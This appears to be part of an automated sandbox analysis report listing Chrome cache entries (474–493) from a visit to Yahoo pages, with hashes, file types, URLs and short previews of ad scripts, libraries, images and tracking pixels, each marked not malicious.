Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-menu",[],t):"object"==typeof exports?exports["wafer-menu"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-menu"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64758)
Category:	downloaded
Size (bytes):	441525
Entropy (8bit):	5.406857785893451
Encrypted:	false
SSDEEP:	6144:ZSDazMfYE43WV3m7M335MG9fBdpiZeZLgAPL:ZSubE43Q3CM2mBuuLxPL
MD5:	5198A6378F68297F015DB7A715694962
SHA1:	4AD2B38A7A41DA495FB6F35FDB3036EFF892CC6E
SHA-256:	D2D83A0630D16FD5F315B70192A51F15CA533B57F9C03FD1328A58D99D79DB70
SHA-512:	54A3A04DAEF2487F0F322A08216B586FE387D4E951CBB61DB855C04AAE5F06271F229E96F10221A865E8751EFFE570262B8B898A575B4075FC2A8F11E77F4D69
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/prebid/prebid-1.js
Preview:	/* prebid.js v8.37.0.Updated: 2024-04-26.Build: 1.0.13.Modules: consentManagement, consentManagementGpp, consentManagementUsp, criteoBidAdapter, enrichmentFpdModule, gdprEnforcement, gppControl_usnat, gppControl_usstates, gptPreAuction, ixBidAdapter, liveIntentIdSystem, medianetBidAdapter, openxBidAdapter, prebidServerBidAdapter, priceFloors, pubmaticBidAdapter, rtdModule, rubiconBidAdapter, taboolaBidAdapter, tripleliftBidAdapter, ttdBidAdapter, userId, yahooAnalyticsAdapter, yahooPrebidServer, yahooRtdProvider, yahoosspBidAdapter, yieldmoBidAdapter */.if(window.pbjs&&window.pbjs.libLoaded)try{window.pbjs.getConfig("debug")&&console.warn("Attempted to load a copy of Prebid.js that clashes with the existing 'pbjs' instance. Load aborted.")}catch(e){}else (function(){.(()=>{var e,t={7409:(e,t,n)=>{n.d(t,{A4:()=>d,J7:()=>u,Pg:()=>l});var i=n(1568),r=n(6409),o=n(5649),s=n(5985);const a=(0,n(1229).m)(),c="outstream";function d(e){const{url:t,config:n,id:d,callback:u,loaded:l,adUnitCode:f,r

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	16236
Entropy (8bit):	7.953191036811777
Encrypted:	false
SSDEEP:	384:bImhDOxqFkcl7d5jcQ30YUyCtZNH6QOzBXjy6IoiD:bjndL0YUbb5SBXu6A
MD5:	C6C0F44BBC835A4878EA9703828B4CD9
SHA1:	AD466AE2D303C128DF70C5BF8C8618D65D6C259F
SHA-256:	3486466A22BAB2A57DB4AB74F20713A8FB5E9239C47A019BBBC9D100E9A987BC
SHA-512:	326A6D20CC9E5B4A7F3F1EB557B4AF143370CAA5E00A531EEE9F7F6AE283400EC3CB1D2D6D0D57125AB4390CE77B91725CE2C76E0B945212BB31B1FD2BD94F6B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/4u3T0U1pgURnOM.6ttN8YQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b.cf.webp
Preview:	RIFFd?..WEBPVP8X.... .........ICCP0......0ADBE....mntrRGB XYZ .........3.;acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 2000 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../....VP8 .=... .......>y6.H....&R.....cnw..w.J..(...y.[......g......^\|...9.......].p.R...3..m....o...}.j'-..$,.z.........=.<...../`...=b?....'._`...e.......q....c#.=7....$.....Y..-r.k&"...E...h4.....2l\|..3..L..n6..V6.6..9>....7-!u...I........:..q..-W..^Kz..\|..;..:..c}..X...H.3X...X.....`..?...<.U6.+74..h...qw...u...r.A<..y..4.....2.\|<...M....?.xX..Sl...."...W.Rb.3l.%.Z.\N.u...B..S&

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1200, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6702
Entropy (8bit):	5.642691629425421
Encrypted:	false
SSDEEP:	96:XLW1/2DTKLkQe6ZK4ED3nYnCMYx2bokTISCZwx:XuPdZK4Q3nYCMO2iKx
MD5:	9AB16D0F2CCCF9207F6211F41F036739
SHA1:	62D6EF021FB10E8A56E829D67B614FD815A528D3
SHA-256:	AAFF12F77E9C34AA3590EA7BBCE80CD2107453DC8EB4BA7433A9E2C14B532CC5
SHA-512:	3FB5792AB3828333FAC425ABF773A8B28E94B8677B7BE66B73CE293E12A0874D4C595FACDDA1A4E8975FAA319029FC5A861034D21A17DECBA9A8F7CB4D65D09D
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_0.png
Preview:	.PNG........IHDR...X.........'.4.....pHYs.........O%.....$zTXtCreator....sL.OJUpL+I-RpMKKM.)..Az..jz......IDATx...MR.Y...s.@..E..9<+..L..i..E....jfE....4=....VP...W.x..g....g...}..DJ.c.....E8.L)S7/....sOF...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=triplelift&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=4394171109507437451801
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15326)
Category:	downloaded
Size (bytes):	15365
Entropy (8bit):	5.359919483880629
Encrypted:	false
SSDEEP:	384:t/LQ2O9fDFARiUi6QytwEQjXNBwMCHIGoc2xZoG0Q7O2qar:JQRFARifyKEQTNBwMEIG7MoGb7O2qar
MD5:	2E8440661542E9DFCEB3228F597EC875
SHA1:	ABC9244D73F4703D2FC7D23D9AD15CAEEA7AEB6F
SHA-256:	14221B4D9AA9F87AFF023F35A86A576655B05ED882749A2423088C01A21716FA
SHA-512:	0F5B2A9F3B2BB3BA0FAE6EB9DF169B7602626DD949D2087FCAD45763A4C19B44B743EC61D4ED734F4E824CA0C08E66B125EE69C13A718249D7E8371A321206BA
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/scp/js/fpDesktop.2e8440661542e9dfceb3228f597ec875.js
Preview:	!function(){"use strict";var e=window.wafer,t=e.base\|\|{};function n(n,o){if(e)return o=o\|\|{},e.utils.elementInView(n,o,t.viewport)}function o(e,t,n,o,i){return{clean:t,dest:n,h:i,metaSize:!0,pos:e,supports:!1,w:o}}var i={context:{bucket:"",bucketId:"",device:"",intl:"",lang:"",meta:{},mode:"normal",region:"",rid:"",site:""},i13n:{}},a=["MAST","LDRB"],s=function(){var e,t,s,r,l,d=window,c=document,f=d.adsConfig,u=d.YAHOO,v=void 0===u?i:u,p=d.DARLA,m=void 0===p?null:p,h=d.wafer,g={},b="adRotateEvt",E="scroll",w="homepage-viewer",C="sda-",A="sticky-lrec2-footer",L=C+"LREC4",y=C+"MON2",x="2023538075",O="native-leaderboard-ad",R="gemini-ad-refresh",B=!1;function D(){var o;if(f&&(t=f.rotation)&&(null===(o=null==f?void 0:f.positions)\|\|void 0===o?void 0:o[t.currentpos]))if(f.clientPositionMeta.positions.forEach((function(e){g[e.id]=e})),r=g[t.currentpos],m)if(t.enableNavAdRotation&&h.on("fetch:success",(function(e){e.elem.classList.contains("nextgen-page-navigation")&&function(e){var t=d._darl

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	64052
Entropy (8bit):	7.987590787510743
Encrypted:	false
SSDEEP:	1536:t01HsakgFQ/nUuua2v4Hffzb689KEpK2j/OtwAvUO:a1HfQ8r4ncm1j/TAJ
MD5:	9B62C9B2875842F299DB8597D019CE4A
SHA1:	2DA9CCA301F4962F7B91B149DC02B03E0DA7C23D
SHA-256:	2B4DAA8C56669D5DC8AC030D8F7983F481FD2B44A0E46326624B6F3A58418FBA
SHA-512:	2801EA1DA4C963061141A17CFC759B1A43FB203CED2E9E385F57E92790DAC882D7AA1E553A874B3722916CCA253415F1634B3921FAE830FB0DFD54941E14AC68
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/cR8X2NNZ_w2HCLX1lXASWQ--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2020-07/98c925c0-d18b-11ea-9fff-06141a553c2a.cf.webp
Preview:	RIFF,...WEBPVP8X.... .........ICCPH......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rubicon&google_hm=NjgyNWY3MTgzMzJkNWYyZTNmYTQyYzdjNTc1NTFhYjc4MDE4MDUxNg&gdpr=0&us_privacy=1YNN
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23479), with no line terminators
Category:	downloaded
Size (bytes):	23479
Entropy (8bit):	5.181521598468942
Encrypted:	false
SSDEEP:	384:rFfj/6GpZNfFQi4mvfm0N+Dzao0QMyb0+qB9M:5L/vLNQi4m3m02zMQMyb05s
MD5:	E6A743E22F5B7027F77359F0A549572B
SHA1:	3EE7D7C1F50B654AFF770E4EED916502D7D62B7B
SHA-256:	E6C22E612E82D6AF3F495357F5EF64A81467312A4A817F3625B15490629257EA
SHA-512:	6A440F8772A29CF710417746BBF0AF9994C6C609BAD6B313DAB3FFC8F73BB4947E7AF8D52D3DEEBC78B4863BC961F5501A03768C78AD2BECC490CBB0838819FB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/notifications/js/sh-5.17.91.js
Preview:	!function(){var r="BrowserSubscriptionHelper",i=["chrome","chrome mobile"],p="error",f="info",n="pushNotifications",o="undefined",t="Unsupported Browser.",u="granted",a="denied",c="subscriptions",s="type",d="push",e="display-push-promos",l="js-push-subscribe",h="rapidnofollow",b="subscriptionFail",m="Permission denied by user";function g(e,n,i){this.init(e,n,i)}if(g.prototype={init:function(e,n,i){var r=this;r.beaconer=n,r.tracker=i,r.config={appServerPubKey:e.appServerPubKey,bucket:e.bucket,confirmationNotification:e.confirmationNotification\|\|{},enableIndexedDbDurationBeacon:e.enableIndexedDbDurationBeacon\|\|!1,enablePermissionChangeBeacon:e.enablePermissionChangeBeacon\|\|!1,overlay:e.overlay\|\|{},resubscribeOnChurn:e.resubscribeOnChurn\|\|!1,serviceWorkerScope:e.serviceWorkerScope\|\|"/",serviceWorkerUrl:e.serviceWorkerUrl,spaceId:e.spaceId,subscriptionService:e.subscriptionService\|\|{},supportedBrowsers:e.supportedBrowsers\|\|{},userAgent:e.userAgent\|\|{}},r.appServerPubKeyArr=r.urlB64ToUint8A

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=appnexus&google_hm=MTQ3NjA1ODM5Njg1MDE1ODA2MQ%3D%3D
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	230369
Entropy (8bit):	4.882563166059819
Encrypted:	false
SSDEEP:	1536:ntwtS88yS8yclBPbp0pMkpM7LFIYYdvvbLqoMIAkiSfTE+H3o1JUF:GtS88yzBoMXkixw
MD5:	436285E9B3D9DFD06C4DE65D5F54180A
SHA1:	80671ACBA2D86358BAEAE123B547480B27990EDD
SHA-256:	5B45CFC07CD55F7B68AF4B01E71FD5A107C9021D99789FE4B069EC7254D219CC
SHA-512:	879367C19EF4BE1B174205A29EEACDC90B9B5C8C59799EB8D60EFCBC8080F9B12E768194C63FB0F4ED0B9AAF83171AE2627DFF270ABCA14D0780A86763349251
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/c/80671ac.caas-news_web.min.css
Preview:	@keyframes slideUp{0%{transform:translateY(200%)}to{transform:translateY(0)}}@keyframes adhide{0%{visibility:visible}to{visibility:hidden}}@keyframes show-success-message{0%{opacity:0;transform:translateY(10px)}80%{opacity:1;transform:translateY(0)}to{opacity:0;transform:translateY(-10px)}}@keyframes immersive-share-appear-in{0%{opacity:0}to{opacity:1}}@keyframes fade{0%{opacity:1}to{opacity:0}}@keyframes shine{0%,to{opacity:1}50%{opacity:.5}}@keyframes wave{0%,60%,to{transform:initial}30%{transform:translateY(-4px)}}@keyframes inlineXrayTooltipFadeIn{0%{opacity:0}to{opacity:1}}@keyframes liveBadgePulse{0%{transform:scale(.43,.43);opacity:1}to{transform:scale(1,1);opacity:0}}@keyframes ellipsesAnimation{0%,30.43%{content:"."}34.78%,65.21%{content:".."}69.56%,to{content:"..."}}@keyframes loader-animate{0%{transform:translate3d(-100%,0,0)}to{transform:translate3d(100%,0,0)}}@font-face{font-family:"YahooSerifDisplay";src:local("Yahoo Serif Display"),url(https://s.yimg.com/cv/apiv2/default

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.591603727268543
Encrypted:	false
SSDEEP:	3:YxhA43BGd+ndIR06pACNNpAcANQDxPPX5Qn:YnR4ZUWAcANQtPvOn
MD5:	8CE9EE1460E1D06E528E4DE8A0E96D51
SHA1:	CA492969A1D2A4E9B416CAEAB61FC8043E9B4649
SHA-256:	18504B1235FBF3DE4C7BCAD5E53A98A506342BE1C1A7985D2E8BBA4817894175
SHA-512:	2119EBB8421F88A9EA1E9427055DD8B1A9F60C123CE08DA07CD7DD9589E3344EDA0B2676FAB7F6C06E398606C77CF0A29BE96987742ED1EE93AAD7DB1A8CA739
Malicious:	false
Reputation:	low
Preview:	{"TDID":"43e7dc8e-5458-4375-be4a-644737ed4dbd","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-03-27T22:42:44"}

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=Zi1-PgAAvwsNrQAF&_test=Zi1-PgAAvwsNrQAF
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?gdpr=0&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 490

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1993)
Category:	downloaded
Size (bytes):	2333
Entropy (8bit):	5.3037723566289285
Encrypted:	false
SSDEEP:	48:tLSLSwAvdOnljQOAtQDIDoK0oKtxunwLKu61hUd1FnifsnU9Jla6N9QQdgIv:tL4SmPAiDkqxZG/C6ECgIv
MD5:	C0AC9C9487D60DE96DC68DBB25BD8DD6
SHA1:	99419B0BE4B85422FF84870E54DBD8A52DC6DAB1
SHA-256:	76AD6584AC5BDD459939DC7532FAE7C2BDD8E22D773FF16D2306F42A1FFC569C
SHA-512:	C62F8DF47104F7B878772DCCA4AEA04D11AB1144E73492BF5E49B9FC92582EB23C7F7ED8A580214F7772506A47602815311D2F3EE3AC3C9B8AA4AADE319BA1D7
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js
Preview:	/*. Minified by jsDelivr using UglifyJS v3.0.24.. * Original file: /npm/jquery.session@1.0.0/jquery.session.js. * . * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files. */.!function(e){e.session={_id:null,_cookieCache:void 0,_init:function(){window.name\|\|(window.name=Math.random()),this._id=window.name,this._initCache();var e=new RegExp(this._generatePrefix()+"=([^;]+);").exec(document.cookie);if(e&&document.location.protocol!==e[1]){this._clearSession();for(var t in this._cookieCache)try{window.sessionStorage.setItem(t,this._cookieCache[t])}catch(e){}}document.cookie=this._generatePrefix()+"="+document.location.protocol+";path=/;expires="+new Date((new Date).getTime()+12e4).toUTCString()},_generatePrefix:function(){return"__session:"+this._id+":"},_initCache:function(){var e=document.cookie.split(";");this._cookieCache={};for(var t in e){var i=e[t].split("=");new RegExp(this._generatePrefix()+".+").test(i[0])&&i

Chrome Cache Entry: 491

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	35
Entropy (8bit):	2.9302005337813077
Encrypted:	false
SSDEEP:	3:CUkrllHh/:qJ/
MD5:	C2196DE8BA412C60C22AB491AF7B1409
SHA1:	5FBD472222FEB8A22CF5B8AA5DC5B8E13AF88E2B
SHA-256:	6ADC3D4C1056996E4E8B765A62604C78B1F867CCEB3B15D0B9BEDB7C4857F992
SHA-512:	84E24A70B78E9DE9C9D0DFEB49F3F4247DBC1C715D8844471EE40669270682E199D48F5FBEC62BD984C9C0270534B407C4D2561DD6C05ADEC3C83C1534F32D5C
Malicious:	false
Reputation:	low
URL:	https://bttrack.com/pixel/cookiesyncredir?rurl=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D151%26user_id%3D%7Bglobalid%7D%26expires%3D30%26ssp=triplelift
Preview:	GIF89a.............,...........D..;

Chrome Cache Entry: 492

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4772), with no line terminators
Category:	downloaded
Size (bytes):	4772
Entropy (8bit):	5.326995477538616
Encrypted:	false
SSDEEP:	96:iVgbSf3qpkb6DsOsOaK81sg8euSwsdNB1n:iVgbrVufn
MD5:	451C40B3A0322B48DBC58FBF0D98EE96
SHA1:	40776D56355D8247C644A4101CEAF791878B7F81
SHA-256:	0310CE4158CABBE63AB825083957DC1A302A73820EC8A7C08C1925874D816B88
SHA-512:	7CFA06770442AA010BD5FFE197093539A34556CB26F22FB4E70AA54B7891762957D839E8895297E451B787771CEDBF41FA6673046375A8AB73F01A6D81D51332
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-shopping.ShoppingContent.atomic.ltr.451c40b3a0322b48dbc58fbf0d98ee96.min.css
Preview:	#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$--dirty-seagull${border-color:#e0e4e9;border-color:var(--dirty-seagull)}#atomic .Bds$s${border-style:solid}#atomic .Bdw$1px${border-width:1px}#atomic .Bdrs$50\%${border-radius:50%}#atomic .Bdrs$80px${border-radius:80px}#atomic .Bdrs$8px${border-radius:8px}#atomic .Bg$\$shopping-caption-cont${background:rgba(#7e1fff,.7);background:rgba(var(--hulk-pants),.7)}#atomic .Bgc$--midnight${background-color:#101518;background-color:var(--midnight)}#atomic .Bgc$--white${background-color:#fff;background-color:var(--white)}#atomic .Bxsh$\$panelShadow${box-shadow:0 2px 6px 0 rgba(0,0,0,.2)}.ad-content:hover .ad-content\:h_C$\$streamBrandHoverClass${color:#7e1fff!important;color:var(--hulk-pants)!important}#atomic .C$--batcave${color:#232a31;color:var(--batcave)}#atomic .C$--inkwell${color:#1d2228;color:var(--inkwell)}#atomic .C$--malibu${color:#ff0080;color:var(--malibu)}#atomic .C$--white${color:#fff;color:var(--white)

Chrome Cache Entry: 493

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	86256
Entropy (8bit):	3.9402789646044405
Encrypted:	false
SSDEEP:	768:U2lIP6ali0216w05Ou7oiHUMMH2U7268sVvw3EMr3T:cP6aE0enfu0EUMMH24268sVvw3EMr3T
MD5:	F85093458F6596D54D6C7BA3309EC8F8
